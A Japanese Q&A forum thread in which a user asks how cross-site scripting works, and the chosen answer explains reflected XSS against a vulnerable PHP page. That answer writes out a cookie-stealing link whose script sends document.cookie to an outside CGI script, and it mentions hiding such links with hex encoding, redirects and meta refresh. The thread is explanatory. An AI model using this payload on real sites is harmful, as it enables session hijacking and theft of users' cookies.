• ベストアンサー

クロスサイトスクリプティング

何冊か本やサイトを読んだのですが、いまひとつ仕組みが分かりません。 教えてもらえないでしょうか。 悪意のあるサイトを閲覧したときに、ブラウザにスクリプトを送り込まれる、と言うのは分かりますが、 そのスクリプトが標的サイトに転送されるときの仕組みが分かりません。 送り込まれたスクリプトは、クッキーとかリファロなどには関係なく、ウィルスのようにどこかに保存され、 特定の標的サイトを開いて入力データを送ることに、反応して転送されるのでしょうか。 スクリプトが標的サイトのデータベースを経由してくるのならば、 そのDBもSQLインジェクションを送り込まれて、いつ改ざんされてもおかしくない状況にあるということですか。 プレースホルダーの対策を取っていても、サニタイジングをしていないDBが存在するとは思えません。 これ以上本を読んでも分かりそうもありません。 よろしくお願いいたします。

質問者が選んだベストアンサー

  • ベストアンサー
  • jjon-com
  • ベストアンサー率61% (1599/2592)
回答No.2

次のWebページに,XSSによるクッキー盗用の原始的なコード例が載っています。 http://www.cgisecurity.com/articles/xss-faq.shtml#examples http://lovemorgue.org/xss.html#example 私なりに噛み砕いて説明すると次のようになるでしょうか。(以下,文章中にhttp://やwww.が含まれていると自動的にHyperLinkになるようなので,ttp://やww.で表記します) 1.標的WebサイトのPHPプログラム ttp://host/a.php には脆弱性があります。ttp://host/a.php?variable=<H1>ABC</H1> とリクエストすると,変数variableの値をサニタイズせずにそのままHTML中に埋め込んで次のようにWebブラウザにレスポンスしてくるようなプログラムです。 <html> <body> <H1>ABC</H1> </body> </html> 2.またこの標的WebサイトではCookieに user=zeno;id=021 といったユーザデータを保存しています。したがって Javascript実行を許可しているWebブラウザで ttp://host/a.php?variable=<script>document.cookie</script> とリクエストすると,Webブラウザ画面に自分のCookieデータが表示されます。(この段階では,自分の意思でhostにアクセスしており,自分のCookieを見ているわけですから,漏洩はしていません) 3.上記ができるなら,適当なホームページやHTMLが書ける掲示板やHTMLメールに,次のようなHyperLinkを書くこともできます。 <A HREF="ttp://host/a.php?variable=<script>document.location='ttp://ww.cgisecurity.com/cgi-bin/cookie.cgi?'+document.cookie</script>">どうなるかな?</A> 「どうなるかな?」をクリックすると標的Webサイトにvariableを渡し,<script>……</script>部分が埋め込まれたHTMLページを入手し,Webブラウザ側でJavascriptを実行してCookieの中身を表示し,そのデータを悪意あるWebサイト ww.cgisecurity.com のCGIプログラムに引数として渡します。悪意サイトの cookie.cgi はその後,おそらく何事もないような偽装HTMLページをレスポンスしてくることでしょう。 4.あとは,コードの中身を解読しづらくするために,Hex表記やリダイレクトURLを使ったり,HyperLinkのクリックなしで済むよう <meta http-equiv="Refresh"> を使ったり,といった偽装を施します。 ポイントは,あるサイトのCookieを別のサイトが読んでいるのではない,ということですね。標的Webサイトに移動してそのCookieを表示したのも,そのデータをURLの後ろに付加して悪意あるWebサイトに送信したのも,そのユーザ自身の行為なわけです,自動化されていて意識できなかったにしろ。

fukurai6
質問者

お礼

ありがとうございます。 おかげさまでスッキリいたしました。

その他の回答 (1)

  • tsukachan
  • ベストアンサー率42% (202/470)
回答No.1

仕組みに関してはこのサイトが一番分かりやすいかなと思います 政府系のサイトなので内容についても問題ないと思います http://www.ipa.go.jp/security/awareness/vendor/programming/a01_02_main.html 既に見て、これで分からないのであればゴメンナサイ 違法性を孕む内容の為、具体的に出来ないってのもありますね。 ただ、セキュリティを考える上では避けて通れない道なので頑張って勉強して下さい。

fukurai6
質問者

お礼

ありがとうございます。 ご紹介いただいたサイトは何度も読み返しております。 それでも分からない…^^;

関連するQ&A

  • SQLインジェクションについて質問です

    よくSQLインジェクションの攻撃で、改竄されたWEBページからウイルスを仕込まれた。 等という話を耳にしますが、この攻撃でどうやって改竄するのですか? 私が知ってる範囲だと、この攻撃では入力フォームに必ず条件マッチするようなSQLを入れて 情報を取り出したり、DBの情報を書き換えたり、情報を消したりくらいしか出来ない気がするのですが・・ あと、SQLインジェクションの紹介でよく見る、ログイン画面で「' 1=1;--」みたいな入力は誰でも思いつくと思うのですが、DBの情報を書き換えたり消したりするのって そのDBのカラム名とかが分からないとできないですよね。 攻撃者はこれらを推測して行っているのですか。 それともカラム名とかを知り得る攻撃手法があるのでしょうか。 また、SQLインジェクションとは関係ないのですがXSSという攻撃手法もありますよね。 こっちはクッキー情報を盗まれるのが一番大きな被害とありますが クッキー情報を盗まれると具体的に何がまずいのでしょうか。 サーバー側でクッキーに個人の名前とかメアドとかを入れてる場合があるという事ですか?

  • SQLインジェクション及びクロスサイトスクリプティング対策について

    MYSQLとPHPの掲示板があったのでどちらで質問させて頂こうか悩んだのですが、こちらの方に書き込みさせて頂きます。 現在、PHPとMYSQLを用いたプログラミングの勉強をしています。 そこで一つ疑問に感じた事がありましたので、お尋ねしたく投稿させて頂きます。 PEARなどを使わずに、平でSQL文を発行して表示しているのですが… SQLインジェクション対策・クロスサイトスクリプティング対策として以下の4つに気を付けています。 1. 文字コードはUTF8を使用 2. マジッククォートは基本的にオフ。オンの場合はスクリプト中でstripslashesを実行 3. 2のマジッククォート対策のあとにデータのインサート時に全ての挿入文字列にmysql_real_escape_stringを実行 4. データの出力時にhtmlspecialcharsを実行 以上の対策でSQLインジェクション対策及びクロスサイトスクリプティングについては十分でしょうか? コードも出さずに漠然とした質問なので返答しづらいかもしれませんが、幅広くご意見を頂けましたら助かります。 よろしくお願いします。 ※幅広くご意見頂きたいと思っておりますので記事の終了やお礼が遅くなってしまったらすみませんm(_ _)m

    • ベストアンサー
    • PHP
  • DBとPHPを使ってこのサイトみたいなものを

    DBとPHPを使ってこのサイトみたいなものを http://japonyol.net/editor/sql-search-map.html DBやXMLの仕組みがいまいち理解できていません。 Webサーバのファイル配置もよくわかっていない為分かりやすく教えていただけるとうれしいです。

  • 文字コードエスケープ処理について

    現在MYSQLとPHPを使ってデータベースを構築してます。 XSSやSQLインジェクションはフォームなどに悪意のユーザがJavascriptのコードを入力するんですよね? ちょっとテストで検索フォームに Javascriptコード を入力してみたんですが何も起こりませんでした。これは処理がされていると思って良いんでしょうか?URLは画像のようになりました。

    • 締切済み
    • PHP
  • サニタイジングについて

    以下の環境でWEBアプリケーションを作成しています。 java1.5 jsp2.0 eclipse3.3 tomcat5.5 javascript使用可能 struts等のフレームワークは使用していません。 現在作成している画面にはデータベースへの検索機能があるので 検索キーを入力することが出来ます。 テキスト入力欄が一つ、セレクトボックスが一つあります。 入力欄にスクリプト等が入力されると改ざんやなりすましの恐れがあるため WEBアプリの基本としてサニタイジングを行う必要があると伺いました。 このテキスト入力欄は半角10文字までの入力しかできないのですが、 入力欄がある以上、サニタイジングは行う必要があるのでしょうか?

    • ベストアンサー
    • Java
  • 効率のよいSQLの書き方がわかるサイトや本はありますか?

    ・複雑なSQLだと、開発に時間がかかってしまう。 ・本当にこのSQLが最適なんだろうか というような人にマッチする SQL入門~中級のようなサイトや本ってあるでしょうか? MySQLを愛用していますが、この辺りの基礎をしっかり 教えるような書籍が充実していないので、DBは問いません。

  • DB構造移行したいが、同じ構造にならない

    SQL Serverについて教えていただきたく、よろしくお願いいたします。 既存のデータベースと同じ構造のデータベースを別のサーバに構築すべく以下の作業を行ないましたが同じにはなりませんでした。足りない点などご指摘いただければありがたく存じます。 【同じでないと判断した理由】 「移行元DB」と「移行先DB」からDB作成スクリプトを生成し、スクリプトを比較したが同一ではなかった(列制約の記述) 例えば、移行元DBでは次の2行とも存在しますが、移行先DBでは2行目の([列名])を含む行が生成されません。 GRANT SELECT ON [dbo].[テーブル名] TO [public] AS [dbo] GRANT SELECT ON [dbo].[テーブル名] ([列名]) TO [public] AS [dbo] 上記のGRANT以外については同一でした。 【行なった作業】 SQL Server Management Studioにて、「移行元DB」を右クリック→タスク→スクリプト生成→全てのオブジェクトの生成→詳細設定にてインデックス・トリガ・オブジェクトレベル権限の各スクリプトをTrueにし、サーバのバージョン互換のスクリプトを"SQL Server 2000"に→スクリプト生成。 生成したDBでも上記の手順にてスクリプトを生成し、両者を比較した。 【環境】 元DB:SQL Server 2000 移行先DB:SQL Server 2008R2 上記作業を行なったサーバ:SQL Server 2008R2 当方、SQL Serverは初心者です。変な言い回しなどありましたらどうぞご容赦ください。 ご回答いただければ幸いに存じます。どうぞよろしくお願いいたします。

  • SQLite3:: escapeString使用法

    SQLite3クラスのメソッドescapeStringを使って、 SQL文の中に挿入する文字列の 浄化(SQLインジェクション対策)をする場合の、 一般的な作法について教えて下さい。 例えば、 //----------------------- //エスケープしたい文字列 $var= "Let's"; //オープンするデータベース $db= ":memory:" $obj = new SQLite3($db); $tmp = $obj->escapeString($var); $db->close(); //----------------------- こんな感じで使おうとしていますが、 「オープンするデータベース」の所が、 ちょっと理解できていません。 とりあえず文字列の浄化だけを行いたい場合には、 必ずしも、DBをオープンする必要はないと思いますので、 オープンするDBなんて、ないですよ! ということで、 :memory: を指定していたりしますが、 この辺りの正しい作法について、どなたか教えて下さい。

    • ベストアンサー
    • PHP
  • IIS7.0におけるSQLインジェクション対抗策について教えてください

    IIS7.0におけるSQLインジェクション対抗策について教えてください 1ヶ月ほど前からデータベースに悪質なスクリプトが書き込まれるようになりました。 そこで、DBユーザー名もパスワードも変更しましたがそれでも書き込まれるので、データベースにUPDATEもしくはinsertしているファイルにエスケープ処理をしようとしていますが、ファイル数が多いので 一旦、それらのファイルに外部からアクセスできないようにIISで設定してしまいました。 ほとんどすべてのIPアドレスからのアクセスを拒否するようにマスクは0.0.0.0に設定しています。 アクセスしようとすると403エラーになります。 ところがそれでもスクリプトが書き込まれるのです。 こういう攻撃って可能なのでしょうか? ファイルアクセス不可にも関わらず、テーブルに書き込みされるということは、ファイルにエスケイプ処理を施しても無駄だと思い、 とりあえずDBのすべてのユーザーにテーブル」への挿入・更新権限を拒否しました。 これでやっと書き込みがなくなりましたが、この設定ではWEB上から何らかのデータ操作をしようとする毎にWEBサーバーにリモートデスクトップ等でアクセスして、SQLサーバーのユーザーに権限付与しなければならず、WEBアプリケーションとしての意味がなくなります。 対応策はあるのでしょうか 大変困っています。 サーバーへの解放ポートはport80のみで、当然、SQLポート1433どは閉じています

  • クロスサイトスクリプティングについて

    情報の勉強超初心者です。 教科書に 「標的となるサイトに対して不正なスクリプトを含んだデータを送信させるよう利用者を誘導し、不正なスクリプトを利用者ノブラウザ上で実行させる攻撃」とあります。 しろうとの質問ですみません。 1.これはよく 会社で会社の情報システム部から 発信者のわからないメールは 開かないように とか 添付ファイルをダウンロードしないようになどの 指示と関連しているでしょうか。 2.言葉じりですが 教科書の「利用者を誘導」というのは 具体的にはどのようなメール内容になるのでしょうか。 3.不正なスクリプトというのはどのようなもので どのような害を およぼすものでしょうか。 4.対応策はどのようなものがあるのでしょうか。 よろしくお願いします。